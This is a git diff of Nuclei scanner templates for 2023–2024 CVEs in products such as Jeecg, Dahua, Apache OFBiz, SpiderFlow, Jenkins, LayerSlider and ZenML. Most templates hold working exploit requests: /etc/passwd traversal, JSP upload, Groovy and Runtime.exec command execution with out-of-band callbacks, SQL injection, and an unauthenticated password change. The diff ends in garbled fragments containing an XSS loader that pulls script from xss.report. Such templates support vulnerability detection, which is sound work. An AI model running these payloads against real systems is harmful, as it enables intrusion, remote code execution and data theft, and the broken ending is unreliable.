+# digest: 4a0a00473045022100cc34538c0cf40fb3489d8f091c41bcf45f66c43266a4c6a2136aef40acbe67b702200d93d6082e5e272bc01f1e8222ec9521c32be40f912837b32aa6c0e6dcd75a2f:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2023/CVE-2023-33510.yaml b/nuclei-templates/CVE-2023/CVE-2023-33510.yaml
new file mode 100644
index 0000000000..cd7f863611
--- /dev/null
+++ b/nuclei-templates/CVE-2023/CVE-2023-33510.yaml
@@ -0,0 +1,50 @@
+id: CVE-2023-33510
+
+info:
+ name: Jeecg P3 Biz Chat - Local File Inclusion
+ author: DhiyaneshDK
+ severity: high
+ description: |
+ Jeecg P3 Biz Chat 1.0.5 allows remote attackers to read arbitrary files through specific parameters.
+ impact: |
+ Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
+ remediation: |
+ Apply the latest patch or update provided by the vendor to fix the LFI vulnerability in Jeecg P3 Biz Chat.
+ reference:
+ - https://twitter.com/momika233/status/1670701256535572481
+ - https://carl1l.github.io/2023/05/08/jeecg-p3-biz-chat-1-0-5-jar-has-arbitrary-file-read-vulnerability/
+ - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33510
+ - https://github.com/izj007/wechat
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+ cvss-score: 7.5
+ cve-id: CVE-2023-33510
+ cwe-id: CWE-668
+ epss-score: 0.00347
+ epss-percentile: 0.6879
+ cpe: cpe:2.3:a:jeecg_p3_biz_chat_project:jeecg_p3_biz_chat:1.0.5:*:*:*:*:wordpress:*:*
+ metadata:
+ verified: "true"
+ max-request: 1
+ vendor: jeecg_p3_biz_chat_project
+ product: jeecg_p3_biz_chat
+ framework: wordpress
+ shodan-query: http.favicon.hash:1380908726
+ tags: cve2023,cve,jeecg,lfi,jeecg_p3_biz_chat_project,wordpress
+
+http:
+ - method: GET
+ path:
+ - "{{BaseURL}}/chat/imController/showOrDownByurl.do?dbPath=../../../../../../etc/passwd"
+
+ matchers-condition: and
+ matchers:
+ - type: regex
+ part: body
+ regex:
+ - "root:.*:0:0:"
+
+ - type: status
+ status:
+ - 200
+# digest: 4b0a004830460221009e162dbb1787d5c8b032abe3bf70bb51a039c53b2df9c8e71d5971b297d962bb0221009b98beb3b2add0df90bddc57c9ed57f15adc1f361360d012658f5c9e2265d724:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2023/CVE-2023-34020.yaml b/nuclei-templates/CVE-2023/CVE-2023-34020.yaml
deleted file mode 100644
index 823a82a3bb..0000000000
--- a/nuclei-templates/CVE-2023/CVE-2023-34020.yaml
+++ /dev/null
@@ -1,28 +0,0 @@
-id: CVE-2023-34020
-
-info:
- name: Uncanny Toolkit for LearnDash - Open Redirection
- author: LeDoubleTake
- severity: low
- description: |
- A vulnerability in the WordPress Uncanny Toolkit for LearnDash Plugin allowed malicious actors to redirect users, posing a potential risk of phishing incidents. The issue has been resolved in version 3.6.4.4, and users are urged to update for security.
- reference:
- - https://patchstack.com/database/vulnerability/uncanny-learndash-toolkit/wordpress-uncanny-toolkit-for-learndash-plugin-3-6-4-3-open-redirection-vulnerability
- - https://wordpress.org/plugins/uncanny-learndash-toolkit/
- metadata:
- verified: true
- max-request: 1
- publicwww-query: "/wp-content/plugins/uncanny-learndash-toolkit/"
- tags: cve2023,cve,wordpress,uncanny-learndash-toolkit,wpscan,redirect
-
-http:
- - method: GET
- path:
- - "{{BaseURL}}/?rest_route=/ult/v2/review-banner-visibility&action=maybe-later&redirect=yes&redirect_url=https://interact.sh"
-
- matchers:
- - type: regex
- part: header
- regex:
- - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$'
-# digest: 4a0a00473045022100863feeb025ff903aec139893d251ec1fb6d2afd5b5817e69dba4be2f8939696902201d851c543d8c5013957bc626be07c2d192201385d1a8f3ab7505696dc02b13e5:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2023/CVE-2023-3836.yaml b/nuclei-templates/CVE-2023/CVE-2023-3836.yaml
new file mode 100644
index 0000000000..15102a7d50
--- /dev/null
+++ b/nuclei-templates/CVE-2023/CVE-2023-3836.yaml
@@ -0,0 +1,69 @@
+id: CVE-2023-3836
+
+info:
+ name: Dahua Smart Park Management - Arbitrary File Upload
+ author: HuTa0
+ severity: critical
+ description: |
+ Dahua wisdom park integrated management platform is a comprehensive management platform, a park operations,resource allocation, and intelligence services,and other functions, including/emap/devicePoint_addImgIco?.
+ remediation: |
+ Apply the latest security patch or update provided by the vendor to fix the arbitrary file upload vulnerability.
+ reference:
+ - https://github.com/qiuhuihk/cve/blob/main/upload.md
+ - https://nvd.nist.gov/vuln/detail/CVE-2023-3836
+ - https://vuldb.com/?ctiid.235162
+ - https://vuldb.com/?id.235162
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+ cvss-score: 9.8
+ cve-id: CVE-2023-3836
+ cwe-id: CWE-434
+ epss-score: 0.03083
+ epss-percentile: 0.8996
+ cpe: cpe:2.3:a:dahuasecurity:smart_parking_management:*:*:*:*:*:*:*:*
+ metadata:
+ verified: true
+ max-request: 2
+ vendor: dahuasecurity
+ product: smart_parking_management
+ shodan-query: html:"/WPMS/asset"
+ zoomeye-query: /WPMS/asset
+ tags: cve,cve2023,dahua,fileupload,intrusive,rce
+variables:
+ random_str: "{{rand_base(6)}}"
+ match_str: "{{md5(random_str)}}"
+
+http:
+ - raw:
+ - |
+ POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1
+ Content-Type: multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
+ Host: {{Hostname}}
+
+ --A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
+ Content-Disposition: form-data; name="upload"; filename="{{random_str}}.jsp"
+ Content-Type: application/octet-stream
+ Content-Transfer-Encoding: binary
+
+ {{match_str}}
+ --A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT--
+ - |
+ GET /upload/emap/society_new/{{shell_filename}} HTTP/1.1
+ Host: {{Hostname}}
+
+ matchers:
+ - type: dsl
+ dsl:
+ - "status_code_1 == 200 && status_code_2 == 200"
+ - "contains(body_2, '{{match_str}}')"
+ condition: and
+
+ extractors:
+ - type: regex
+ name: shell_filename
+ internal: true
+ part: body_1
+ regex:
+ - 'ico_res_(\w+)_on\.jsp'
+
+# digest: 490a004630440220513bc76e8fde9982cfc588703d87e942603b15129e6d1906581bc35025ca7b3302203f4fa642d000d9b4736b3ac12bff77ec4b02cc55b50fa42350a2ce552d65b6e4:922c64590222798bb761d5b6d8e72950
diff --git a/nuclei-templates/Other/CVE_2023_49442.yaml b/nuclei-templates/CVE-2023/CVE-2023-49442.yaml
similarity index 100%
rename from nuclei-templates/Other/CVE_2023_49442.yaml
rename to nuclei-templates/CVE-2023/CVE-2023-49442.yaml
diff --git a/nuclei-templates/CVE-2023/CVE-2023-51467.yaml b/nuclei-templates/CVE-2023/CVE-2023-51467.yaml
new file mode 100644
index 0000000000..85d9a58b5f
--- /dev/null
+++ b/nuclei-templates/CVE-2023/CVE-2023-51467.yaml
@@ -0,0 +1,51 @@
+id: CVE-2023-51467
+
+info:
+ name: Apache OFBiz < 18.12.11 - Remote Code Execution
+ author: your3cho
+ severity: critical
+ description: |
+ The vulnerability allows attackers to bypass authentication to achieve a simple Server-Side Request Forgery (SSRF)
+ reference:
+ - https://lists.apache.org/thread/9tmf9qyyhgh6m052rhz7lg9vxn390bdv
+ - https://www.openwall.com/lists/oss-security/2023/12/26/3
+ - https://twitter.com/_0xf4n9x_/status/1740202435367543183
+ - https://nvd.nist.gov/vuln/detail/CVE-2023-51467
+ - https://issues.apache.org/jira/browse/OFBIZ-12873
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+ cvss-score: 9.8
+ cve-id: CVE-2023-51467
+ cwe-id: CWE-918
+ epss-score: 0.54475
+ epss-percentile: 0.97354
+ cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
+ metadata:
+ max-request: 1
+ vendor: apache
+ product: ofbiz
+ shodan-query: html:"OFBiz"
+ fofa-query: app="Apache_OFBiz"
+ tags: cve2023,cve,apache,ofbiz,rce
+
+http:
+ - raw:
+ - |
+ POST /webtools/control/ProgramExport;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/x-www-form-urlencoded
+
+ groovyProgram=import+groovy.lang.GroovyShell%3B%0A%0AString+expression+%3D+%22'nslookup+{{interactsh-url}}'.execute()%22%3B%0AGroovyShell+gs+%3D+new+GroovyShell()%3B%0Ags.evaluate(expression)%3B
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: interactsh_protocol
+ words:
+ - "dns"
+
+ - type: word
+ part: header
+ words:
+ - 'OFBiz.Visitor='
+# digest: 4a0a004730450220639d50bb1c136f51bd9616ed67f1f2c99a8efc2e9df5055de966eb1d82f2b226022100e4a0f05b2ba7aea008f99b826c6ca3db2e89f7d5208f3dabcc18c8b862897c32:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git "a/nuclei-templates/CVE-2023/CVE-2023\342\200\22324044.yaml" "b/nuclei-templates/CVE-2023/CVE-2023\342\200\22324044.yaml"
deleted file mode 100644
index 5661dadb7d..0000000000
--- "a/nuclei-templates/CVE-2023/CVE-2023\342\200\22324044.yaml"
+++ /dev/null
@@ -1,54 +0,0 @@
-id: CVE-2023-24044
-
-info:
- name: Plesk Obsidian <=18.0.49 - Open Redirect
- author: pikpikcu
- severity: medium
- description: |
- Plesk Obsidian through 18.0.49 contains an open redirect vulnerability via the login page. An attacker can redirect users to malicious websites via a host request header and thereby access user credentials and execute unauthorized operations. NOTE: The vendor's position is "the ability to use arbitrary domain names to access the panel is an intended feature."
- impact: |
- Successful exploitation of this vulnerability could allow an attacker to redirect users to malicious websites, leading to phishing attacks or the theft of sensitive information.
- remediation: |
- Upgrade Plesk Obsidian to a version higher than 18.0.49 to mitigate the vulnerability.
- reference:
- - https://portswigger.net/web-security/host-header/exploiting
- - https://medium.com/@jetnipat.tho/cve-2023-24044-10e48ab940d8
- - https://gist.github.com/TJetnipat/02b3854543b7ec95d54a8de811f2e8ae
- - https://nvd.nist.gov/vuln/detail/CVE-2023-24044
- - https://support.plesk.com/hc/en-us/articles/10254625170322-Vulnerability-CVE-2023-24044
- classification:
- cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- cvss-score: 6.1
- cve-id: CVE-2023-24044
- cwe-id: CWE-601
- epss-score: 0.00155
- epss-percentile: 0.51774
- cpe: cpe:2.3:a:plesk:obsidian:*:*:*:*:*:*:*:*
- metadata:
- verified: true
- max-request: 1
- vendor: plesk
- product: obsidian
- shodan-query: title:"Plesk Obsidian"
- fofa-query: title="Plesk Obsidian"
- tags: cve2023,cve,header,injection,plesk,obsidian
-
-http:
- - method: GET
- path:
- - "{{BaseURL}}/login.php"
-
- headers:
- Host: "evil.com"
-
- matchers-condition: and
- matchers:
- - type: word
- part: location
- words:
- - 'https://evil.com/login_up.php'
-
- - type: status
- status:
- - 303
-# digest: 4a0a00473045022069dc022651b4fb9af6a01bd55d548680f03edd9debffa187316d1b018f1209cc022100c92c5328721c039369314c3c7035951e413c56f1862f781e9d73bac65cfa6719:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2024/CVE-2024-0012.yaml b/nuclei-templates/CVE-2024/CVE-2024-0012.yaml
index 53c6f6039f..513d836bd0 100644
--- a/nuclei-templates/CVE-2024/CVE-2024-0012.yaml
+++ b/nuclei-templates/CVE-2024/CVE-2024-0012.yaml
@@ -44,3 +44,4 @@ http:
- 'contains(header, "PHPSESSID=")'
- 'status_code == 200'
condition: and
+# digest: 4b0a00483046022100ca0502603214b47d45e7402e4ef79840d87e1989598554b1a8096f25ebb12396022100a4cd2cae49d7d0e115f5e93732d377067206f41f33e795ec69a1cdf2d5021a2a:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2024/CVE-2024-0195.yaml b/nuclei-templates/CVE-2024/CVE-2024-0195.yaml
deleted file mode 100644
index 928e611dad..0000000000
--- a/nuclei-templates/CVE-2024/CVE-2024-0195.yaml
+++ /dev/null
@@ -1,32 +0,0 @@
-id: CVE-2024-0195
-
-info:
- name: SpiderFlow爬虫平台RCE漏洞
- author: pipichen
- severity: critical
- description: SpiderFlow是新一代开源爬虫平台，以图形化方式定义爬虫流程，不写代码即可完成爬虫。基于springboot+layui开发的前后端不分离,也可以进行二次开发，因此收到很多人的喜欢，在gitee上有7.4K Star。该系统/function/save接口存在RCE漏洞，攻击者可以构造恶意命令远控服务器。
- metadata:
- max-request: 1
- fofa-query: app="SpiderFlow"
- verified: true
- tags: cve,rce,others
-requests:
- - raw:
- - |+
- POST /function/save HTTP/1.1
- Host: {{Hostname}}
- Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
- Content-Type: application/x-www-form-urlencoded; charset=UTF-8
- Accept: */*
- Accept-Encoding: gzip, deflate
- X-Requested-With: XMLHttpRequest
-
- id=1&name=cmd¶meter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+{{interactsh-url}}')%3B%7B
-
- matchers:
- - type: dsl
- dsl:
- - contains(interactsh_protocol, "dns")
- condition: and
-# digest: 4b0a00483046022100e6a1c51d9a3a25fc7a276bd9db3e68b3a9e9181be638bd0dbb4ce279e793f5c3022100a0f31cd5a1de4091f43018a3b6f4eae65d7a78309d12eea7930cdde047d29918:6b2dd5af372f02ed15a56faf8ad98cf9
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2024/CVE-2024-1183.yaml b/nuclei-templates/CVE-2024/CVE-2024-1183.yaml
new file mode 100644
index 0000000000..c4e19446e2
--- /dev/null
+++ b/nuclei-templates/CVE-2024/CVE-2024-1183.yaml
@@ -0,0 +1,36 @@
+id: CVE-2024-1183
+
+info:
+ name: Gradio - Server Side Request Forgery
+ author: DhiyaneshDK
+ severity: medium
+ description: |
+ An SSRF (Server-Side Request Forgery) vulnerability exists in the gradio-app/gradio repository, allowing attackers to scan and identify open ports within an internal network. By manipulating the 'file' parameter in a GET request, an attacker can discern the status of internal ports based on the presence of a 'Location' header or a 'File not allowed' error in the response.
+ reference:
+ - https://github.com/gradio-app/gradio/commit/2ad3d9e7ec6c8eeea59774265b44f11df7394bb4
+ - https://huntr.com/bounties/103434f9-87d2-42ea-9907-194a3c25007c
+ classification:
+ cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
+ cvss-score: 6.5
+ cve-id: CVE-2024-1183
+ cwe-id: CWE-601
+ epss-score: 0.00061
+ epss-percentile: 0.24702
+ metadata:
+ verified: true
+ max-request: 1
+ shodan-query: html:"__gradio_mode__"
+ tags: cve,cve2024,ssrf,oast,gradio
+
+http:
+ - raw:
+ - |
+ GET /file=http://oast.pro HTTP/1.1
+ Host: {{Hostname}}
+
+ matchers:
+ - type: regex
+ regex:
+ - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)(?:[a-zA-Z0-9\-_\.@]*)oast\.pro.*$'
+ part: header
+# digest: 4a0a004730450221008fa9c24b03fedb13e37837ad2730bc20d6d973ad45a2d74dd82193fb651172c5022057ad36fe5c2c8f0f555f7106c808470d5cfc40e96a168c822c4cc96f1183df15:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2024/CVE-2024-1207.yaml b/nuclei-templates/CVE-2024/CVE-2024-1207.yaml
new file mode 100644
index 0000000000..12aedaaf1f
--- /dev/null
+++ b/nuclei-templates/CVE-2024/CVE-2024-1207.yaml
@@ -0,0 +1,58 @@
+id: CVE-2024-1207
+
+info:
+ name: >
+ Booking Calendar <= 9.9 - Unauthenticated SQL Injection
+ author: topscoder
+ severity: critical
+ description: >
+ The WP Booking Calendar plugin for WordPress is vulnerable to SQL Injection via the 'calendar_request_params[dates_ddmmyy_csv]' parameter in all versions up to, and including, 9.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
+ reference:
+ - https://www.wordfence.com/threat-intel/vulnerabilities/id/7802ed1f-138c-4a3d-916c-80fb4f7699b2?source=api-prod
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+ cvss-score: 9.8
+ cve-id: CVE-2024-1207
+ metadata:
+ fofa-query: "wp-content/plugins/booking/"
+ google-query: inurl:"/wp-content/plugins/booking/"
+ shodan-query: 'vuln:CVE-2024-1207'
+ tags: cve,wordpress,wp-plugin,booking,critical
+
+http:
+ - method: GET
+ redirects: true
+ max-redirects: 3
+ path:
+ - "{{BaseURL}}/wp-content/plugins/booking/readme.txt"
+
+ extractors:
+ - type: regex
+ name: version
+ part: body
+ group: 1
+ internal: true
+ regex:
+ - "(?mi)Stable tag: ([0-9.]+)"
+
+ - type: regex
+ name: version
+ part: body
+ group: 1
+ regex:
+ - "(?mi)Stable tag: ([0-9.]+)"
+
+ matchers-condition: and
+ matchers:
+ - type: status
+ status:
+ - 200
+
+ - type: word
+ words:
+ - "booking"
+ part: body
+
+ - type: dsl
+ dsl:
+ - compare_versions(version, '< 9.9')
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2024/CVE-2024-23897.yaml b/nuclei-templates/CVE-2024/CVE-2024-23897.yaml
deleted file mode 100644
index 62a1aba442..0000000000
--- a/nuclei-templates/CVE-2024/CVE-2024-23897.yaml
+++ /dev/null
@@ -1,56 +0,0 @@
-id: CVE-2024-23897
-
-info:
- name: Jenkins < 2.441 - Arbitrary File Read
- author: iamnoooob,rootxharsh,pdresearch
- severity: high
- description: |
- Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces an '@' character followed by a file path in an argument with the file's contents, allowing unauthenticated attackers to read arbitrary files on the Jenkins controller file system.
- reference:
- - https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3314
- - https://www.sonarsource.com/blog/excessive-expansion-uncovering-critical-security-vulnerabilities-in-jenkins/
- - https://github.com/Mr-xn/Penetration_Testing_POC
- - https://github.com/forsaken0127/CVE-2024-23897
- - https://github.com/nomi-sec/PoC-in-GitHub
- classification:
- cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- cvss-score: 7.5
- cve-id: CVE-2024-23897
- epss-score: 0.41536
- epss-percentile: 0.97188
- cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:lts:*:*:*
- metadata:
- verified: true
- max-request: 1
- vendor: jenkins
- product: jenkins
- shodan-query: "product:\"Jenkins\""
- tags: cve,cve2024,lfi,rce,jenkins
-variables:
- payload: "{{hex_decode('0000000e00000c636f6e6e6563742d6e6f64650000000e00000c402f6574632f706173737764000000070200055554462d3800000007010005656e5f41450000000003')}}"
-
-javascript:
- - code: |
- let m = require('nuclei/net');
- let name=(Host.includes(':') ? Host : Host+":80");
- let conn,conn2;
- try { conn = m.OpenTLS('tcp', name) } catch { conn= m.Open('tcp', name)}
- conn.Send('POST /cli?remoting=false HTTP/1.1\r\nHost:'+Host+'\r\nSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92\r\nSide: download\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 0\r\n\r\n');
- try { conn2 = m.OpenTLS('tcp', name) } catch { conn2= m.Open('tcp', name)}
- conn2.Send('POST /cli?remoting=false HTTP/1.1\r\nHost:'+Host+'\r\nContent-type: application/octet-stream\r\nSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92\r\nSide: upload\r\nConnection: keep-alive\r\nContent-Length: 163\r\n\r\n'+Body)
- resp = conn.RecvString(1000)
- args:
- Body: "{{payload}}"
- Host: "{{Hostname}}"
-
- matchers:
- - type: dsl
- dsl:
- - 'contains(response, "No such agent \"")'
-
- extractors:
- - type: regex
- group: 1
- regex:
- - '\b([a-z_][a-z0-9_-]{0,31})\:x\:'
-# digest: 4b0a00483046022100a22e0bf486c5362bd7b22a4d814691dcb9318a631e13e7cf7086dd922feb4dd4022100cfacc9f72ee0cf45347e0c8c97dc2b5c6f95028b6f5cc3a68a506f4d3d4c7964:922c64590222798bb761d5b6d8e72950
diff --git a/nuclei-templates/CVE-2024/CVE-2024-25723.yaml b/nuclei-templates/CVE-2024/CVE-2024-25723.yaml
new file mode 100644
index 0000000000..7c2bea8be1
--- /dev/null
+++ b/nuclei-templates/CVE-2024/CVE-2024-25723.yaml
@@ -0,0 +1,56 @@
+id: CVE-2024-25723
+info:
+ name: Zenml Improper Access Control
+ author: VulnSphere
+ severity: high
+ description: "ZenML Server in the ZenML machine learning package before 0.46.7 for Python allows remote privilege escalation because the /api/v1/users/{user_name_or_id}/activate REST API endpoint allows access on the basis of a valid username along with a new password in the request body. These are also patched versions: 0.44.4, 0.43.1, and 0.42.2."
+ reference:
+ - https://github.com/zenml-io/zenml
+ - https://github.com/zenml-io/zenml/compare/0.42.1...0.42.2
+ - https://github.com/zenml-io/zenml/compare/0.43.0...0.43.1
+ - https://github.com/zenml-io/zenml/compare/0.44.3...0.44.4
+ - https://www.zenml.io/blog/critical-security-update-for-zenml-users
+ classification:
+ epss-score: 0.00045
+ epss-percentile: 0.13033
+ tags: intrusive
+
+
+http:
+ - raw:
+ - |
+ POST /api/v1/login HTTP/1.1
+ Host: {{Hostname}}
+ Accept: application/json
+ Content-Type: application/x-www-form-urlencoded
+ Referer: {{Hostname}}/login?route=%2Fworkspaces%2Fdefault%3F
+
+ password&username=default
+
+ - |
+ PUT /api/v1/users/{{randstr}} HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: "application/json;charset=utf-8"
+ Source-Context: "dashboard"
+ Referer: {{BaseURL}}/settings/organization
+ Cookie: zenml-server-7205f7d5-08e1-4829-995b-16d56f6695d9={{token}}
+
+ {"password":"a"}
+
+ extractors:
+ - type: kval
+ internal: true
+ kval:
+ - set_cookie #Note that kval extractor does not accept dash (-) as input and must be substituted with underscore (_).
+
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - '"permission_denied":false'
+ - '"created"'
+ - '"updated'
+ - type: status
+ status:
+ - 200
diff --git a/nuclei-templates/CVE-2024/CVE-2024-2879.yaml b/nuclei-templates/CVE-2024/CVE-2024-2879.yaml
new file mode 100644
index 0000000000..27dc05462e
--- /dev/null
+++ b/nuclei-templates/CVE-2024/CVE-2024-2879.yaml
@@ -0,0 +1,55 @@
+id: CVE-2024-2879
+
+info:
+ name: WordPress Plugin LayerSlider 7.9.11-7.10.0 - SQL Injection
+ author: d4ly
+ severity: critical
+ description: |
+ The LayerSlider plugin for WordPress is vulnerable to SQL Injection via the ls_get_popup_markup action in versions 7.9.11 and 7.10.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
+ remediation: Fixed in 7.10.1
+ reference:
+ - https://nvd.nist.gov/vuln/detail/CVE-2024-2879
+ - https://www.securityblue.team/blog/posts/Critical-Vulnerability-in-WordPress-Plugin-LayerSlider
+ - https://www.wordfence.com/blog/2024/04/5500-bounty-awarded-for-unauthenticated-sql-injection-vulnerability-patched-in-layerslider-wordpress-plugin/
+ - https://layerslider.com/release-log/
+ - https://www.wordfence.com/threat-intel/vulnerabilities/id/3fddf96e-029c-4753-ba82-043ca64b78d3?source=cve
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+ cvss-score: 9.8
+ cve-id: CVE-2024-2879
+ cwe-id: CWE-89
+ epss-score: 0.00043
+ epss-percentile: 0.07687
+ metadata:
+ verified: true
+ max-request: 2
+ publicwww-query: "/wp-content/plugins/LayerSlider/"
+ tags: cve,cve2024,wp-plugin,wp,wordpress,layerslider,sqli
+
+flow: http(1) && http(2)
+
+http:
+ - method: GET
+ path:
+ - "{{BaseURL}}/wp-content/plugins/LayerSlider/assets/static/public/front.css"
+
+ matchers:
+ - type: word
+ internal: true
+ words:
+ - ".ls-clearfix:before"
+
+ - raw:
+ - |
+ @timeout: 10s
+ GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))x)--+x) HTTP/1.1'
+ Host: {{Hostname}}
+
+ matchers:
+ - type: dsl
+ dsl:
+ - duration>=6
+ - status_code == 200
+ - contains(body, "'
+ - '">'
+ - 'javascript:eval("var a=document.createElement(\"script\");a.src=\"//xss.report/s/shelled\";document.body.appendChild(a)")'
+ - '">'
+ - '">